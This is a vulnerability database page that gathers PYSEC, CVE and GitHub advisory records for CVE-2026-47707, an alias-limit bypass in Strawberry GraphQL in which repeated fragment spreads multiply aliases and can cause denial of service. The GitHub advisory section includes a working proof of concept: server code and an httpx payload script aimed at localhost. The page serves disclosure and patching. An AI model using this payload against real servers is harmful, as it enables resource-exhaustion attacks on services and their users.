Vulnerability-Lookup

PYSEC-2026-2284

Vulnerability from pysec - Published: 2026-06-04 15:16 - Updated: 2026-07-13 05:51

Details

Strawberry GraphQL is a library for creating GraphQL APIs. In versions 0.172.0 through0.315.6, the MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a dos via resource exhaustion. Version 0.315.7 contains a fix for the issue.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Impacted products

Name	purl
strawberry-graphql	pkg:pypi/strawberry-graphql

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "strawberry-graphql",
        "purl": "pkg:pypi/strawberry-graphql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.172.0"
            },
            {
              "fixed": "0.315.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.172.0",
        "0.173.0",
        "0.173.1",
        "0.174.0",
        "0.175.0",
        "0.175.1",
        "0.176.0",
        "0.176.1",
        "0.176.2",
        "0.176.3",
        "0.176.4",
        "0.177.0",
        "0.177.1",
        "0.177.2",
        "0.177.3",
        "0.178.0",
        "0.178.1",
        "0.178.2",
        "0.178.3",
        "0.179.0",
        "0.180.0",
        "0.180.1",
        "0.180.2",
        "0.180.3",
        "0.180.4",
        "0.180.5",
        "0.181.0",
        "0.182.0",
        "0.182.0.dev1686062831",
        "0.183.0",
        "0.183.1",
        "0.183.1.dev1686081894",
        "0.183.2",
        "0.183.3",
        "0.183.4",
        "0.183.5",
        "0.183.6",
        "0.183.7",
        "0.183.8",
        "0.184.0",
        "0.184.1",
        "0.185.0",
        "0.185.1",
        "0.185.2",
        "0.185.2.dev1686819062",
        "0.186.0",
        "0.186.1",
        "0.186.2",
        "0.186.3",
        "0.187.0",
        "0.187.1",
        "0.187.2",
        "0.187.3",
        "0.187.4",
        "0.187.5",
        "0.188.0",
        "0.189.0",
        "0.189.1",
        "0.189.1.dev1687473609",
        "0.189.2",
        "0.189.3",
        "0.190.0",
        "0.190.0.dev1687447182",
        "0.192.0",
        "0.192.1",
        "0.192.2",
        "0.193.0",
        "0.193.1",
        "0.194.0",
        "0.194.1",
        "0.194.2",
        "0.194.3",
        "0.194.4",
        "0.195.0",
        "0.195.1",
        "0.195.2",
        "0.195.3",
        "0.196.0",
        "0.196.0.dev1689676980",
        "0.196.0.dev1689676990",
        "0.196.0.dev1690222024",
        "0.196.1",
        "0.196.2",
        "0.197.0",
        "0.197.0.dev1690539957",
        "0.198.0",
        "0.199.0",
        "0.199.1",
        "0.199.2",
        "0.199.3",
        "0.200.0",
        "0.201.0",
        "0.201.1",
        "0.202.0",
        "0.202.1",
        "0.203.0",
        "0.203.1",
        "0.203.1.dev1691831108",
        "0.203.2",
        "0.203.3",
        "0.204.0",
        "0.205.0",
        "0.206.0",
        "0.207.0",
        "0.207.1",
        "0.208.0",
        "0.208.1",
        "0.208.2",
        "0.208.3",
        "0.209.0",
        "0.209.1",
        "0.209.2",
        "0.209.3",
        "0.209.3.dev1696259772",
        "0.209.4",
        "0.209.5",
        "0.209.6",
        "0.209.7",
        "0.209.8",
        "0.209.8.dev1697789637",
        "0.210.0",
        "0.210.0.dev1697796691",
        "0.211.0",
        "0.211.1",
        "0.211.2",
        "0.212.0",
        "0.212.0.dev1698770659",
        "0.212.0.dev1698790124",
        "0.212.0.dev1699050277",
        "0.212.0.dev1699288765",
        "0.212.0.dev1699291750",
        "0.213.0",
        "0.213.0.dev1699372734",
        "0.213.0.dev1699435418",
        "0.213.0.dev1699437859",
        "0.214.0",
        "0.214.0.dev1699441271",
        "0.214.0.dev1701082152",
        "0.214.0.dev1701368154",
        "0.215.0",
        "0.215.1",
        "0.215.2",
        "0.215.2.dev1701810830",
        "0.215.3",
        "0.216.0",
        "0.216.1",
        "0.217.0",
        "0.217.1",
        "0.218.0",
        "0.218.0.dev1705418681",
        "0.218.1",
        "0.219.0",
        "0.219.1",
        "0.219.2",
        "0.220.0",
        "0.220.0.dev1709543239",
        "0.221.0",
        "0.221.0.dev1710955937",
        "0.221.1",
        "0.222.0",
        "0.223.0",
        "0.224.0",
        "0.224.0.dev1711748192",
        "0.224.1",
        "0.224.2",
        "0.225.0",
        "0.225.1",
        "0.226.0",
        "0.226.1",
        "0.226.2",
        "0.227.0",
        "0.227.0.dev1713463204",
        "0.227.0.dev1713475585",
        "0.227.1",
        "0.227.2",
        "0.227.3",
        "0.227.4",
        "0.227.5",
        "0.227.6",
        "0.227.7",
        "0.228.0",
        "0.228.0.dev1713643365",
        "0.229.0",
        "0.229.1",
        "0.229.2",
        "0.229.2.dev1715873118",
        "0.229.2.dev1715881453",
        "0.230.0",
        "0.230.0.dev1716318708",
        "0.231.0",
        "0.231.1",
        "0.232.0",
        "0.232.1",
        "0.232.2",
        "0.233.0",
        "0.233.1",
        "0.233.2",
        "0.233.3",
        "0.234.0",
        "0.234.1",
        "0.234.2",
        "0.234.3",
        "0.235.0",
        "0.235.1",
        "0.235.1.dev1719337273",
        "0.235.2",
        "0.236.0",
        "0.236.1",
        "0.236.2",
        "0.237.0",
        "0.237.1",
        "0.237.2",
        "0.237.3",
        "0.238.0",
        "0.238.1",
        "0.239.0",
        "0.239.1",
        "0.239.2",
        "0.240.0",
        "0.240.1",
        "0.240.2",
        "0.240.3",
        "0.240.3.dev1726159932",
        "0.240.4",
        "0.241.0",
        "0.242.0",
        "0.243.0",
        "0.243.1",
        "0.244.0",
        "0.244.1",
        "0.245.0",
        "0.246.0",
        "0.246.1",
        "0.246.2",
        "0.246.3",
        "0.247.0",
        "0.247.1",
        "0.247.2",
        "0.248.0",
        "0.248.1",
        "0.249.0",
        "0.250.0",
        "0.250.1",
        "0.251.0",
        "0.252.0",
        "0.253.0",
        "0.253.1",
        "0.254.0",
        "0.254.1",
        "0.255.0",
        "0.256.0",
        "0.256.1",
        "0.257.0",
        "0.257.0.dev1735244504",
        "0.258.0",
        "0.258.1",
        "0.259.0",
        "0.259.1",
        "0.260.0",
        "0.260.1",
        "0.260.2",
        "0.260.3",
        "0.260.4",
        "0.261.0",
        "0.261.1",
        "0.262.0",
        "0.262.1",
        "0.262.2",
        "0.262.3",
        "0.262.4",
        "0.262.5",
        "0.262.6",
        "0.262.7.dev1743345593",
        "0.263.0",
        "0.263.0.dev1743450281",
        "0.263.0.dev1743450503",
        "0.263.0.dev1743450741",
        "0.263.0.dev1743582446",
        "0.263.1",
        "0.263.2",
        "0.264.0",
        "0.264.1",
        "0.265.0",
        "0.265.1",
        "0.266.0",
        "0.266.0.dev1744797470",
        "0.266.1",
        "0.267.0",
        "0.267.0.dev1746643548",
        "0.268.0",
        "0.268.1",
        "0.268.2",
        "0.268.2.dev1747436835",
        "0.269.0",
        "0.269.0.dev1746905409",
        "0.269.0.dev1747164009",
        "0.270.0",
        "0.270.1",
        "0.270.2",
        "0.270.3",
        "0.270.4",
        "0.270.5",
        "0.270.6",
        "0.271.0",
        "0.271.1",
        "0.271.2",
        "0.272.0",
        "0.272.1",
        "0.273.0",
        "0.273.1",
        "0.273.2",
        "0.273.3",
        "0.274.0",
        "0.274.1",
        "0.274.2",
        "0.274.3",
        "0.275.0",
        "0.275.1",
        "0.275.2",
        "0.275.3",
        "0.275.4",
        "0.275.5",
        "0.275.6",
        "0.275.7",
        "0.276.0",
        "0.276.0.dev1750672223",
        "0.276.0.dev1752831589",
        "0.276.1",
        "0.276.2",
        "0.277.0",
        "0.277.1",
        "0.278.0",
        "0.278.1",
        "0.279.0",
        "0.279.0.dev1754138688",
        "0.279.0.dev1754156227",
        "0.279.0.dev1754159379",
        "0.280.0",
        "0.281.0",
        "0.282.0",
        "0.283.0",
        "0.283.1",
        "0.283.2",
        "0.283.3",
        "0.284.0",
        "0.284.1",
        "0.284.2",
        "0.284.3",
        "0.284.4",
        "0.285.0",
        "0.285.0.dev1762469343",
        "0.286.0",
        "0.286.1",
        "0.287.0",
        "0.287.1",
        "0.287.2",
        "0.287.3",
        "0.287.4",
        "0.288.0",
        "0.288.1",
        "0.288.2",
        "0.288.3",
        "0.288.4",
        "0.289.0",
        "0.289.1",
        "0.289.2",
        "0.289.3",
        "0.289.4",
        "0.289.5",
        "0.289.6",
        "0.289.7",
        "0.289.8",
        "0.290.0",
        "0.291.0",
        "0.291.1",
        "0.291.2",
        "0.291.2.dev1770456508",
        "0.291.2.dev1771437961",
        "0.291.3",
        "0.292.0",
        "0.293.0",
        "0.294.0",
        "0.295.0",
        "0.296.0",
        "0.296.1",
        "0.296.2",
        "0.297.0",
        "0.298.0",
        "0.298.1",
        "0.299.0",
        "0.300.0",
        "0.301.0",
        "0.302.0",
        "0.303.0",
        "0.303.1",
        "0.304.0",
        "0.305.0",
        "0.306.0",
        "0.307.0",
        "0.307.1",
        "0.308.0",
        "0.308.1",
        "0.308.2",
        "0.308.3",
        "0.309.0",
        "0.310.0",
        "0.310.1",
        "0.310.2",
        "0.311.0",
        "0.311.1",
        "0.311.2",
        "0.311.3",
        "0.312.0",
        "0.312.1",
        "0.312.2",
        "0.312.3",
        "0.312.4",
        "0.313.0",
        "0.314.0",
        "0.314.1",
        "0.314.2",
        "0.314.3",
        "0.315.0",
        "0.315.1",
        "0.315.2",
        "0.315.3",
        "0.315.4",
        "0.315.5",
        "0.315.6"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47707",
    "GHSA-fr49-mhgj-crfc"
  ],
  "details": "Strawberry GraphQL is a library for creating GraphQL APIs. In versions 0.172.0 through0.315.6, the MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a  dos via resource exhaustion. Version 0.315.7 contains a fix for the issue.",
  "id": "PYSEC-2026-2284",
  "modified": "2026-07-13T05:51:37.880089Z",
  "published": "2026-06-04T15:16:55.283Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-fr49-mhgj-crfc"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

CVE-2026-47707 (GCVE-0-2026-47707)

Vulnerability from cvelistv5 – Published: 2026-06-04 14:12 – Updated: 2026-06-04 15:06

Title

Strawberry GraphQL's Bypass of MaxAliasesLimiter via Fragment Spreads leading to GraphQL Alias Amplification

Summary

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-04 15:05 UTC

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

GitHub_M mitre root Scorecard

References

2 references

URL	Tags
https://github.com/strawberry-graphql/strawberry/…	x_refsource_CONFIRM
https://github.com/strawberry-graphql/strawberry/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
strawberry-graphql	strawberry	Affected: >= 0.172.0, < 0.315.7

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-47707",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-04T15:05:32.309863Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-04T15:06:13.934Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-fr49-mhgj-crfc"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "strawberry",
          "vendor": "strawberry-graphql",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.172.0, \u003c 0.315.7"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Strawberry GraphQL is a library for creating GraphQL APIs. In versions 0.172.0 through0.315.6, the MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a  dos via resource exhaustion. Version 0.315.7 contains a fix for the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-400",
              "description": "CWE-400: Uncontrolled Resource Consumption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-04T14:12:49.083Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-fr49-mhgj-crfc",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-fr49-mhgj-crfc"
        },
        {
          "name": "https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7"
        }
      ],
      "source": {
        "advisory": "GHSA-fr49-mhgj-crfc",
        "discovery": "UNKNOWN"
      },
      "title": "Strawberry GraphQL\u0027s Bypass of MaxAliasesLimiter via Fragment Spreads leading to GraphQL Alias Amplification"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-47707",
    "datePublished": "2026-06-04T14:12:49.083Z",
    "dateReserved": "2026-05-19T21:29:25.481Z",
    "dateUpdated": "2026-06-04T15:06:13.934Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-FR49-MHGJ-CRFC

Vulnerability from github – Published: 2026-06-04 14:39 – Updated: 2026-06-09 11:53

Summary

Strawberry GraphQL's Bypass of MaxAliasesLimiter via Fragment Spreads leading to GraphQL Alias Amplification

Details

Summary

The MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a dos via resource exhaustion.

Details

The current implementation of alias counting in strawberry/extensions/max_aliases.py uses a static approach

for selection in selection_set_owner.selection_set.selections: 
    if isinstance(selection, FieldNode) and selection.alias:
        result += 1

    if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~:
        result += count_fields_with_alias(selection)

When a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is

Total Aliases = query aliases + (num of spreads * aliases within fragment)

Because Strawberry only performs a static sum of the text, it misses this multiplication

PoC

server code

import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import MaxAliasesLimiter

@strawberry.type
class User:
    name: str = "GONA"

@strawberry.type
class Query:
    @strawberry.field
    def user(self) -> User:
        return User()

# Limit is set to 20 aliases
schema = strawberry.Schema(
    query=Query, 
    extensions=[MaxAliasesLimiter(max_alias_count=20)]
)

app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")

payloads

import httpx

payload = {
    "query": """
        fragment Amplification on User {
            a1: name, a2: name, a3: name, a4: name, a5: name,
            a6: name, a7: name, a8: name, a9: name, a10: name
        }
        query Bypass {
            u1: user { ...Amplification }
            u2: user { ...Amplification }
            u3: user { ...Amplification }
            u4: user { ...Amplification }
            u5: user { ...Amplification }
            u6: user { ...Amplification }
            u7: user { ...Amplification }
            u8: user { ...Amplification }
            u9: user { ...Amplification }
            u10: user { ...Amplification }
        }
    """
}

response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
print(f"Status: {response.status_code}")
# The response will contain 100 'a' aliases nested within 10 'u' aliases.
print(response.json())

Impact

An attacker can bypass security constraints to cause Application-level DOS. By staying just under the max_alias_count limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.315.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "strawberry-graphql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.172.0"
            },
            {
              "fixed": "0.315.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47707"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-04T14:39:42Z",
    "nvd_published_at": "2026-06-04T15:16:55Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a  dos via resource exhaustion.\n\n### Details\nThe current implementation of alias counting in strawberry/extensions/max_aliases.py uses a static approach\n```\nfor selection in selection_set_owner.selection_set.selections: \n    if isinstance(selection, FieldNode) and selection.alias:\n        result += 1\n\n    if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~:\n        result += count_fields_with_alias(selection)\n```\n\nWhen a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is\n\n**Total Aliases = query aliases + (num of spreads * aliases within fragment)**\n\nBecause Strawberry only performs a static sum of the text, it misses this multiplication\n\n### PoC\n**server code**\n```\nimport strawberry\nfrom fastapi import FastAPI\nfrom strawberry.fastapi import GraphQLRouter\nfrom strawberry.extensions import MaxAliasesLimiter\n\n@strawberry.type\nclass User:\n    name: str = \"GONA\"\n\n@strawberry.type\nclass Query:\n    @strawberry.field\n    def user(self) -\u003e User:\n        return User()\n\n# Limit is set to 20 aliases\nschema = strawberry.Schema(\n    query=Query, \n    extensions=[MaxAliasesLimiter(max_alias_count=20)]\n)\n\napp = FastAPI()\napp.include_router(GraphQLRouter(schema), prefix=\"/graphql\")\n```\n\n**payloads**\n```\nimport httpx\n\npayload = {\n    \"query\": \"\"\"\n        fragment Amplification on User {\n            a1: name, a2: name, a3: name, a4: name, a5: name,\n            a6: name, a7: name, a8: name, a9: name, a10: name\n        }\n        query Bypass {\n            u1: user { ...Amplification }\n            u2: user { ...Amplification }\n            u3: user { ...Amplification }\n            u4: user { ...Amplification }\n            u5: user { ...Amplification }\n            u6: user { ...Amplification }\n            u7: user { ...Amplification }\n            u8: user { ...Amplification }\n            u9: user { ...Amplification }\n            u10: user { ...Amplification }\n        }\n    \"\"\"\n}\n\nresponse = httpx.post(\"http://127.0.0.1:8000/graphql\", json=payload)\nprint(f\"Status: {response.status_code}\")\n# The response will contain 100 \u0027a\u0027 aliases nested within 10 \u0027u\u0027 aliases.\nprint(response.json())\n```\n\n### Impact\nAn attacker can bypass security constraints to cause Application-level DOS. By staying just under the max_alias_count limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory",
  "id": "GHSA-fr49-mhgj-crfc",
  "modified": "2026-06-09T11:53:04Z",
  "published": "2026-06-04T14:39:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-fr49-mhgj-crfc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47707"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/strawberry-graphql/strawberry"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Strawberry GraphQL\u0027s Bypass of MaxAliasesLimiter via Fragment Spreads leading to GraphQL Alias Amplification"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

PYSEC-2026-2284

CVE-2026-47707 (GCVE-0-2026-47707)

GHSA-FR49-MHGJ-CRFC

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour